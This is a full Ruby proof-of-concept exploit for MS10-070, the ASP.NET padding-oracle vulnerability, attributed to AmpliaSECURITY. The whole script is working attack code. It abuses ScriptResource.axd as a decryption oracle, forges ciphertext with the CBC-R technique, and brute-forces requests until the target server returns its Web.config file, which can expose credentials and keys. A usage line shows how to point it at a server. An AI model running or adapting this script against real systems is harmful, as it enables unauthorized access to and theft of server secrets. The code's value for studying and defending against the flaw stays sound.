MS10-070 ASP.NET Auto-Decryptor File Download

`#!/usr/bin/ruby -w  
  
#  
# aspx_ad_chotext_attack.rb  
#  
# Copyright (c) 2010 AmpliaSECURITY. All rights reserved  
#  
# http://www.ampliasecurity.com  
# Agustin Azubel - [email protected]  
#  
#  
# MS10-070 ASPX proof of concept  
# Decrypt data using an auto decryptor bundled in the aspx framework  
# Encrypt data using Rizzo-Duong CBC-R technique  
#  
# Copyright (c) 2010 Amplia Security. All rights reserved.  
#  
# Unless you have express writen permission from the Copyright  
# Holder, any use of or distribution of this software or portions of it,  
# including, but not limited to, reimplementations, modifications and derived  
# work of it, in either source code or any other form, as well as any other  
# software using or referencing it in any way, may NOT be sold for commercial  
# gain, must be covered by this very same license, and must retain this  
# copyright notice and this license.  
# Neither the name of the Copyright Holder nor the names of its contributors  
# may be used to endorse or promote products derived from this software  
# without specific prior written permission.  
#  
#  
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"  
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE  
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE  
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE  
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR  
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF  
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS  
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN  
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)  
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE  
# POSSIBILITY OF SUCH DAMAGE.  
#  
  
  
require 'net/http'  
require 'uri'  
require 'rexml/document'  
  
  
$debugging = false  
  
  
  
module XArray  
def hex_inspect  
"[#{length}][ #{map { |x| x.hex_inspect }.join ", " } ]"  
end  
end  
  
class Array  
include XArray  
end  
  
  
  
  
require 'base64'  
  
class XBase64  
def self.encode s  
s = Base64.encode64 s  
s = s.gsub '+', '-'  
s = s.gsub '/', '_'  
s = s.gsub "\n", ''  
s = s.gsub "\r", ''  
  
s = XBase64.encode_base64_padding s  
end  
  
def self.encode_base64_padding s  
padding_length = 0  
padding_length += 1 while s[-1 - padding_length, 1] == "="  
s[0..(-1 - padding_length)] + padding_length.to_s  
end  
  
  
def self.decode s  
s = s.gsub '-', '+'  
s = s.gsub '_', '/'  
  
s = self.decode_base64_padding s  
  
Base64.decode64 s  
end  
  
def self.decode_base64_padding s  
padding_length = s[-1,1].to_i  
s[0...-1] + ("=" * padding_length)  
end  
end  
  
  
module XString  
def xor other  
raise RuntimeError, "length mismatch" if self.length != other.length  
(0...length).map { |i| self[i] ^ other[i] }.map { |x| x.chr }.join  
end  
alias ^ :xor  
  
def hex_inspect  
printables = [ "\a", "\b", "\e", "\f", "\n", "\r", "\t", "\v" ] + \  
(0x20..0x7e).entries  
  
"[#{length}]" + "\"#{unpack("C*").map { |x|  
printables.include?(x) ? x.chr : "\\x%02x" % x }.join}\""  
end  
  
def to_blocks blocksize  
(0...length/blocksize).map { |i| self[blocksize * i, blocksize]}  
end  
end  
  
class String  
include XString  
end  
  
  
  
class ASPXAutoDecryptorChosenCiphertextAttack  
attr_reader :uri  
attr_reader :filename  
attr_reader :min_filelength  
attr_reader :filere  
attr_reader :http  
attr_reader :d_value  
attr_reader :blocksize  
attr_reader :padding_length  
attr_reader :decrypt_command_mask  
attr_reader :axdpath  
attr_reader :axdname  
attr_reader :base_mask  
  
def initialize parameters  
@uri = URI.parse parameters[:uri]  
@filename = parameters[:filename]  
@min_filelength = parameters[:min_filelength]  
@filere = parameters[:filere]  
@http = http_initialize  
@d_value = nil  
@base_mask = rand 0xffff  
@decrypt_command_mask = nil  
@blocksize = nil  
@padding_length = nil  
@axdpath = nil  
@axdname = nil  
  
puts "target: #{@uri}"  
puts "base_mask: 0x%04x" % @base_mask  
end  
  
def http_initialize  
http = Net::HTTP.new @uri.host, @uri.port  
http.start  
http  
end  
  
  
def parse_script_tag xml, re  
d = nil  
  
doc = REXML::Document.new xml  
doc.elements.each 'script' do |e|  
src_attribute = e.attributes['src']  
md = re.match src_attribute  
d = md[1]  
break  
end  
  
raise RuntimeError, "could not parse script_tag" unless d  
  
d  
end   
private :parse_script_tag  
  
def get_ciphertext_sample  
[ [ "ScriptResource.axd", /\/ScriptResource\.axd\?d=([a-zA-Z0-9\-\_]+)\&t=[a-z0-9]+/ ],  
].each do |name, re|  
  
headers = { 'User-Agent' => \  
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' }  
  
response = http.get uri.path, headers  
body = response.body  
  
script_tags = body.lines.select { |x| x.index name }  
  
next if script_tags.empty?  
  
puts "script tags using #{name} [#{script_tags.length}]:"  
puts script_tags.map { |x| "\t#{x}" }  
  
d = parse_script_tag script_tags[0], re  
  
puts "using script: #{name}"  
puts "using d_value: #{d}"  
  
@axdpath = uri.path[0, uri.path.rindex('/')]  
@axdname = name  
@d_value = ("\x00" * 16) + (XBase64.decode d)  
break  
end  
  
raise RuntimeError, "could not find any axd sample" unless d_value  
  
d_value  
end  
  
def parse_html_body h, body  
parsed = String.new  
  
doc = REXML::Document.new body  
doc.elements.each h do |e|  
parsed = e.text  
break  
end  
  
parsed  
end  
  
def send_request d  
request = Net::HTTP::Get.new "/#{axdpath}/#{axdname}?d=#{XBase64.encode d}"  
request['Connection'] = 'Keep-Alive'  
@http.request request  
end  
  
def decrypt d  
ciphertext = d.clone  
ciphertext[0, 2] = [ @decrypt_command_mask ].pack "S"  
  
response = send_request ciphertext  
  
parse_html_body 'html/head/title', response.body  
end  
  
def discover_decrypt_command  
puts "discovering decrypt command..."  
  
ciphertext = d_value.clone  
1.upto 0xffff do |mask|  
ciphertext[0, 2] = [ base_mask + mask ].pack "S"  
  
response = send_request ciphertext  
  
print "\rtrying decrypt_mask: 0x%04x/0xffff, http_code: %4d, body_length: %5d" % \  
[ mask, response.code, response.body.length ]  
  
next unless response.code == "200"  
  
begin  
puts parse_html_body 'html/head/title', response.body  
@decrypt_command_mask = base_mask + mask  
rescue Exception => e  
puts e  
puts "exception !"  
next  
end  
  
break  
end  
  
puts  
  
raise RuntimeError, "no more combinations to try !" unless decrypt_command_mask  
puts "decrypted !!!"  
  
decrypt_command_mask  
end  
  
  
  
def discover_blocksize_and_padding_length  
puts "discovering blocksize and padding length..."  
  
[ 16, 8 ].each do |b|  
0.upto b - 1 do |i|  
ciphertext = @d_value.clone  
ciphertext[-(b * 2) + i] ^= 0x01  
begin  
decrypt ciphertext  
rescue Exception => e  
@blocksize = b  
@padding_length = blocksize - i  
break  
end  
end  
break if blocksize  
end  
  
raise RuntimeError, "no more combinations to try !" unless blocksize  
  
puts "discovered padding length: #{padding_length}"  
puts "discovered blocksize: #{blocksize}"  
  
[ blocksize, padding_length]  
end  
  
def reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks  
puts "cipher_blocks.count: #{cipher_blocks.count}"  
  
required_block_count = 1 + new_plaintext_blocks.count + 1  
puts "required_block_count: #{required_block_count}"  
  
if required_block_count < cipher_blocks.count then  
delta = cipher_blocks.count - required_block_count  
puts "removing #{delta} extra blocks..."  
cipher_blocks = [ cipher_blocks[0] ] + cipher_blocks[-required_block_count+1..-1]  
elsif required_block_count > cipher_blocks.count then  
delta = required_block_count - cipher_blocks.count  
puts "adding #{delta} extra_blocks..."  
cipher_blocks = [ cipher_blocks[0], ("\x00" * blocksize) * delta ] + cipher_blocks[1..-1]  
end  
  
puts "cipher_blocks.count: #{cipher_blocks.count}"  
  
cipher_blocks  
end  
private :reallocate_cipher_blocks  
  
def generate_new_plaintext_blocks  
tail_padding = "\x01"  
head_padding_length = blocksize - ( (@filename.length + tail_padding.length) % blocksize)  
head_padding_length = 0 if head_padding_length == blocksize  
head_padding = "\x00" * head_padding_length  
new_plaintext = head_padding + @filename + tail_padding  
  
new_plaintext.to_blocks blocksize  
end  
private :generate_new_plaintext_blocks  
  
def encrypt  
puts "encrypting \"#{@filename.hex_inspect}..."  
  
new_plaintext_blocks = generate_new_plaintext_blocks  
  
cipher_blocks = @d_value.to_blocks blocksize  
cipher_blocks = reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks  
  
(1..new_plaintext_blocks.count).each do |i|  
puts "round #{i} of #{new_plaintext_blocks.count}"  
  
new_plaintext_block = new_plaintext_blocks[-i]  
  
old_cleartext = decrypt cipher_blocks.join  
old_plaintext = old_cleartext + (padding_length.chr * padding_length)  
puts "old_plaintext: #{old_plaintext.hex_inspect}"  
  
old_plaintext_blocks = old_plaintext[blocksize * (-i - 1)..-1].to_blocks blocksize  
  
old_plaintext_block = old_plaintext_blocks[-i]  
  
normalization_table = old_plaintext_block.bytes.map { |x| x >= 0x80 or x == 0x0a }  
if normalization_table.include? true  
j = blocksize - (normalization_table.rindex true)  
cipher_blocks[-1 - i][-j] ^= old_plaintext_block[-j]  
puts "normalization needed for \"\\x%x\", j: %d !" % [ old_plaintext_block[-j], -j]  
redo  
end  
  
cipher_blocks[-1 - i] ^= old_plaintext_block ^ new_plaintext_block  
  
@padding_length = 1 if i == 1  
end  
  
cleartext = decrypt cipher_blocks.join  
puts "new cleartext: #{cleartext.hex_inspect}"  
  
# raise RuntimeError, "too many \"|\" characters!" if cleartext.count("|") > 3  
  
@d_value = cipher_blocks.join  
end  
  
def discover_escape_sequence  
puts "discovering escape sequence..."  
  
escape_sequence_mask = nil  
  
offset = base_mask % (blocksize - 4)  
  
ciphertext = d_value.clone  
0x1ffff.times do |mask|  
ciphertext[offset, 4] = [ base_mask + mask ].pack "L"  
  
response = send_request ciphertext  
print "\rtrying escape_mask: 0x%04x/0x1ffff, http_code: %4d, body_length: %5d" % \  
[ mask, response.code, response.body.length ]  
  
next unless response.code == "200"  
  
next if min_filelength and (response.body.length < min_filelength)  
  
next if filere and (not filere =~ response.body)  
  
escape_sequence_mask = base_mask + mask  
  
puts  
puts "found!"  
  
unless $debugging  
puts "press any key to show the contents of the file"  
$stdin.gets  
end  
  
puts response.body  
break  
end  
puts  
  
raise RuntimeError, "no more combinations to try !" unless escape_sequence_mask  
  
escape_sequence_mask  
end  
  
def pause  
return if $debugging  
puts  
puts "press any key to start the attack"  
$stdin.gets  
end  
  
def run  
get_ciphertext_sample  
pause  
discover_decrypt_command  
discover_blocksize_and_padding_length  
encrypt  
discover_escape_sequence  
end  
end  
  
  
  
puts [ "-------------------------------------------",  
"aspx_ad_chotext_attack.rb",  
"(c) 2010 AmpliaSECURITY",  
"http://www.ampliasecurity.com",  
"Agustin Azubel - [email protected]",  
"-------------------------------------------",  
"\n" ].join "\n"  
  
  
  
if ARGV.length != 1 then  
$stderr.puts "usage: ruby #{$PROGRAM_NAME} http://192.168.1.1/Default.aspx"  
exit  
end  
  
begin  
parameters = {  
:uri => ARGV.first,  
:filename => "|||~/Web.config",  
# :min_filelength => 3000,  
:filere => /configuration/  
}  
  
x = ASPXAutoDecryptorChosenCiphertextAttack.new parameters  
x.run  
rescue Exception => e  
$stderr.puts "Exploit failed: #{e}"  
  
raise if $debugging  
end  
  
`